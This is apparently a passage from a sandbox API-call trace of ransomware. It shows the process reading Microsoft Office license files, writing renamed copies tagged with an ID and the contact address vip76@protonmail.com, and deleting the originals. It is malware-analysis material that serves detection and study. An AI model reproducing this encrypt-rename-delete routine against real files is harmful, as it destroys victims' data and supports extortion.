	[0200.269] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.269] lstrlenW (lpString=".bz2") returned 4
	[0200.269] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.269] lstrlenW (lpString=".7z") returned 3
	[0200.269] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0200.269] lstrlenW (lpString=".dbf") returned 4
	[0200.269] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0200.269] lstrlenW (lpString=".1cd") returned 4
	[0200.269] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0200.269] lstrlenW (lpString=".jpg") returned 4
	[0200.269] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.269] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.269] lstrlenW (lpString="O365HomePremR_Subscription4-pl.xrm-ms") returned 37
	[0200.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0200.270] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11199) returned 1
	[0200.270] CloseHandle (hObject=0x5d8) returned 1
	[0200.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms")) returned 0x220
	[0200.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0200.271] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.271] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0200.272] GetLastError () returned 0x0
	[0200.272] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0200.274] WriteFile (in: hFile=0x368, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0200.275] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.275] WriteFile (in: hFile=0x368, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0200.275] SetEndOfFile (hFile=0x368) returned 1
	[0200.275] CloseHandle (hObject=0x368) returned 1
	[0200.275] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.275] SetEndOfFile (hFile=0x5d8) returned 1
	[0200.278] CloseHandle (hObject=0x5d8) returned 1
	[0200.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.279] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms")) returned 1
	[0200.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0200.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0200.279] lstrlenW (lpString=".doc") returned 4
	[0200.279] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.279] lstrlenW (lpString=".docx") returned 5
	[0200.280] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.280] lstrlenW (lpString=".pdf") returned 4
	[0200.280] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.280] lstrlenW (lpString=".xls") returned 4
	[0200.280] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.280] lstrlenW (lpString=".xlsx") returned 5
	[0200.280] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.280] lstrlenW (lpString=".ppt") returned 4
	[0200.280] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0200.280] lstrlenW (lpString=".zip") returned 4
	[0200.280] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.280] lstrlenW (lpString=".rar") returned 4
	[0200.280] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.280] lstrlenW (lpString=".bz2") returned 4
	[0200.280] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.280] lstrlenW (lpString=".7z") returned 3
	[0200.280] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0200.280] lstrlenW (lpString=".dbf") returned 4
	[0200.280] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0200.280] lstrlenW (lpString=".1cd") returned 4
	[0200.280] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0200.280] lstrlenW (lpString=".jpg") returned 4
	[0200.280] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0200.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0200.280] lstrlenW (lpString=".doc") returned 4
	[0200.281] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.281] lstrlenW (lpString=".docx") returned 5
	[0200.281] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.281] lstrlenW (lpString=".pdf") returned 4
	[0200.281] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.281] lstrlenW (lpString=".xls") returned 4
	[0200.281] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.281] lstrlenW (lpString=".xlsx") returned 5
	[0200.281] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.281] lstrlenW (lpString=".ppt") returned 4
	[0200.281] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0200.281] lstrlenW (lpString=".zip") returned 4
	[0200.281] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.281] lstrlenW (lpString=".rar") returned 4
	[0200.281] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.281] lstrlenW (lpString=".bz2") returned 4
	[0200.281] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.281] lstrlenW (lpString=".7z") returned 3
	[0200.281] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0200.281] lstrlenW (lpString=".dbf") returned 4
	[0200.281] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0200.281] lstrlenW (lpString=".1cd") returned 4
	[0200.281] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0200.281] lstrlenW (lpString=".jpg") returned 4
	[0200.281] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.282] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.282] lstrlenW (lpString="O365HomePremR_Subscription4-ppd.xrm-ms") returned 38
	[0200.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0200.282] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=26541) returned 1
	[0200.282] CloseHandle (hObject=0x5d8) returned 1
	[0200.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms")) returned 0x220
	[0200.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0200.283] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.283] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0200.284] GetLastError () returned 0x0
	[0200.284] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x67ad, lpOverlapped=0x0) returned 1
	[0200.286] WriteFile (in: hFile=0x368, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x67b0, lpOverlapped=0x0) returned 1
	[0200.288] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.288] WriteFile (in: hFile=0x368, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x120, lpOverlapped=0x0) returned 1
	[0200.288] SetEndOfFile (hFile=0x368) returned 1
	[0200.288] CloseHandle (hObject=0x368) returned 1
	[0200.288] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.288] SetEndOfFile (hFile=0x5d8) returned 1
	[0200.408] CloseHandle (hObject=0x5d8) returned 1
	[0200.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms")) returned 1
	[0200.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0200.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0200.823] lstrlenW (lpString=".doc") returned 4
	[0200.824] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.824] lstrlenW (lpString=".docx") returned 5
	[0200.824] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.824] lstrlenW (lpString=".pdf") returned 4
	[0200.824] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.824] lstrlenW (lpString=".xls") returned 4
	[0200.824] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.824] lstrlenW (lpString=".xlsx") returned 5
	[0200.824] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.824] lstrlenW (lpString=".ppt") returned 4
	[0200.824] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0200.824] lstrlenW (lpString=".zip") returned 4
	[0200.824] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.824] lstrlenW (lpString=".rar") returned 4
	[0200.824] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.824] lstrlenW (lpString=".bz2") returned 4
	[0200.824] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.824] lstrlenW (lpString=".7z") returned 3
	[0200.824] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0200.824] lstrlenW (lpString=".dbf") returned 4
	[0200.824] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0200.824] lstrlenW (lpString=".1cd") returned 4
	[0200.824] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0200.824] lstrlenW (lpString=".jpg") returned 4
	[0200.824] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0200.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0200.825] lstrlenW (lpString=".doc") returned 4
	[0200.825] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.825] lstrlenW (lpString=".docx") returned 5
	[0200.825] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.825] lstrlenW (lpString=".pdf") returned 4
	[0200.825] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.825] lstrlenW (lpString=".xls") returned 4
	[0200.825] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.825] lstrlenW (lpString=".xlsx") returned 5
	[0200.825] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.825] lstrlenW (lpString=".ppt") returned 4
	[0200.825] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0200.825] lstrlenW (lpString=".zip") returned 4
	[0200.825] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.825] lstrlenW (lpString=".rar") returned 4
	[0200.825] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.825] lstrlenW (lpString=".bz2") returned 4
	[0200.825] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.825] lstrlenW (lpString=".7z") returned 3
	[0200.825] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0200.825] lstrlenW (lpString=".dbf") returned 4
	[0200.825] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0200.825] lstrlenW (lpString=".1cd") returned 4
	[0200.825] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0200.825] lstrlenW (lpString=".jpg") returned 4
	[0200.825] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.826] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.826] lstrlenW (lpString="O365HomePremR_SubTest2-pl.xrm-ms") returned 32
	[0200.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc
	[0200.827] GetFileSizeEx (in: hFile=0x4fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11179) returned 1
	[0200.827] CloseHandle (hObject=0x4fc) returned 1
	[0200.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms")) returned 0x220
	[0200.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc
	[0200.827] SetFilePointerEx (in: hFile=0x4fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.828] SetFilePointerEx (in: hFile=0x4fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0200.829] GetLastError () returned 0x0
	[0200.829] ReadFile (in: hFile=0x4fc, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0200.831] WriteFile (in: hFile=0x514, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0200.832] ReadFile (in: hFile=0x4fc, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.832] WriteFile (in: hFile=0x514, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x114, lpOverlapped=0x0) returned 1
	[0200.832] SetEndOfFile (hFile=0x514) returned 1
	[0200.832] CloseHandle (hObject=0x514) returned 1
	[0200.832] SetFilePointerEx (in: hFile=0x4fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.832] SetEndOfFile (hFile=0x4fc) returned 1
	[0200.836] CloseHandle (hObject=0x4fc) returned 1
	[0200.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.836] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms")) returned 1
	[0200.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0200.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0200.837] lstrlenW (lpString=".doc") returned 4
	[0200.837] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.837] lstrlenW (lpString=".docx") returned 5
	[0200.838] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.838] lstrlenW (lpString=".pdf") returned 4
	[0200.838] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.838] lstrlenW (lpString=".xls") returned 4
	[0200.838] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.838] lstrlenW (lpString=".xlsx") returned 5
	[0200.838] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.838] lstrlenW (lpString=".ppt") returned 4
	[0200.838] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0200.838] lstrlenW (lpString=".zip") returned 4
	[0200.838] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.838] lstrlenW (lpString=".rar") returned 4
	[0200.838] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.838] lstrlenW (lpString=".bz2") returned 4
	[0200.838] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.838] lstrlenW (lpString=".7z") returned 3
	[0200.838] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0200.838] lstrlenW (lpString=".dbf") returned 4
	[0200.838] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0200.838] lstrlenW (lpString=".1cd") returned 4
	[0200.838] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0200.838] lstrlenW (lpString=".jpg") returned 4
	[0200.838] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0200.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0200.838] lstrlenW (lpString=".doc") returned 4
